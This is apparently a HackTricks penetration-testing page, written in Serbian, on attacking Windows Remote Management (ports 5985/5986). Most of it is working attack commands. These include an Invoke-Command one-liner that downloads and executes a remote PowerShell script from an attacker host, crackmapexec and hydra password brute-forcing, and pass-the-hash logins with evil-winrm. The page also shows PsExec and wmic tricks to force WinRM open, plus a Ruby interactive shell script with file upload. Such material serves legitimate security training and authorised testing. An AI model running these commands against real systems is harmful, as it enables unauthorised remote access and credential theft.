hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

335 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - Pentesting WinRM
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) je istaknut kao **protokol od strane Microsoft-a** koji omogućava **daljinsko upravljanje Windows sistemima** putem HTTP(S), koristeći SOAP u tom procesu. Osnovno je pokretan WMI-jem, predstavljajući se kao HTTP-bazirano sučelje za WMI operacije.
Prisutnost WinRM-a na mašini omogućava jednostavno daljinsko upravljanje putem PowerShell-a, slično načinu na koji SSH funkcioniše za druge operativne sisteme. Da bi se utvrdilo da li je WinRM operativan, preporučuje se provera otvaranja specifičnih portova:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Otvoreni port sa gornje liste označava da je WinRM postavljen, čime se omogućavaju pokušaji započinjanja daljinske sesije.
### **Pokretanje WinRM Sesije**
Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene da omoguće ovu funkcionalnost i odrede bilo koji host kao pouzdan:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Ovaj pristup uključuje dodavanje džokera u `trustedhosts` konfiguraciju, korak koji zahteva pažljivo razmatranje zbog svojih implikacija. Takođe je napomenuto da bi mogla biti neophodna promena tipa mreže sa "Javna" na "Poslovna" na mašini napadača.
Pored toga, WinRM se može **aktivirati na daljinu** koristeći `wmic` komandu, što je prikazano na sledeći način:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Ova metoda omogućava daljinsko podešavanje WinRM-a, povećavajući fleksibilnost u upravljanju Windows mašinama na daljinu.
### Testirajte da li je konfigurisan
Da biste proverili podešavanje vaše napadačke mašine, koristi se komanda `Test-WSMan` da se proveri da li je cilj pravilno konfigurisan za WinRM. Izvršavanjem ove komande, trebali biste očekivati da dobijete detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. Ispod su primeri koji prikazuju očekivani izlaz za konfigurisan cilj u poređenju sa nekonfigurisanim:
* Za cilj koji **je** pravilno konfigurisan, izlaz će izgledati slično ovome:
```bash
Test-WSMan <target-ip>
```
Odgovor bi trebao sadržati informacije o verziji protokola i wsmid, što označava da je WinRM ispravno podešen.
![](<../.gitbook/assets/image (582).png>)
* Nasuprot tome, za cilj **koji nije** konfigurisan za WinRM, to bi rezultiralo nedostatkom takvih detaljnih informacija, ističući odsustvo pravilnog WinRM podešavanja.
![](<../.gitbook/assets/image (458).png>)
### Izvrši komandu
Da biste izvršili `ipconfig` na daljinu na ciljnog računaru i videli njegov izlaz, uradite:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (151).png>)
Možete takođe **izvršiti komandu iz vaše trenutne PS konzole putem** _**Invoke-Command**_. Pretpostavimo da imate lokalno funkciju pod nazivom _**enumeration**_ i želite da je **izvršite na udaljenom računaru**, možete to uraditi:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Izvrši skriptu
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Dobijanje reverzne ljuske
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Dobijanje PS sesije
Da biste dobili interaktivnu PowerShell ljusku, koristite `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1009).png>)
**Sesija će se izvršavati u novom procesu (wsmprovhost) unutar "žrtve"**
### **Prisiljavanje WinRM-a da se otvori**
Da biste koristili PS Remoting i WinRM, ali računar nije konfigurisan, možete ga omogućiti sa:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Čuvanje i obnavljanje sesija
Ovo **neće raditi** ako je **jezik** **ograničen** na udaljenom računaru.
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Unutar ovih sesija možete učitati PS skripte koristeći _Invoke-Command_
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Greške
Ako pronađete sledeću grešku:
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
Pokušajte na klijentu (informacije [ovde](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Latest Announcements**\
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
## WinRM konekcija u linuxu
### Brute Force
Budite oprezni, brute-forcing winrm može blokirati korisnike.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Korišćenje evil-winrm
```ruby
gem install evil-winrm
```
Pročitajte **dokumentaciju** na njegovom github-u: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Da biste koristili evil-winrm za povezivanje na **IPv6 adresu**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **domen** na IPv6 adresu i povežite se na taj domen.
### Prosledi hash sa evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (680).png>)
### Korišćenje PS-docker mašine
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Korišćenje ruby skripte
**Kod preuzet odavde:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Automatske Komande
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Uvidi u Hacking**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o Hacking-u u Realnom Vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovija Obaveštenja**\
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}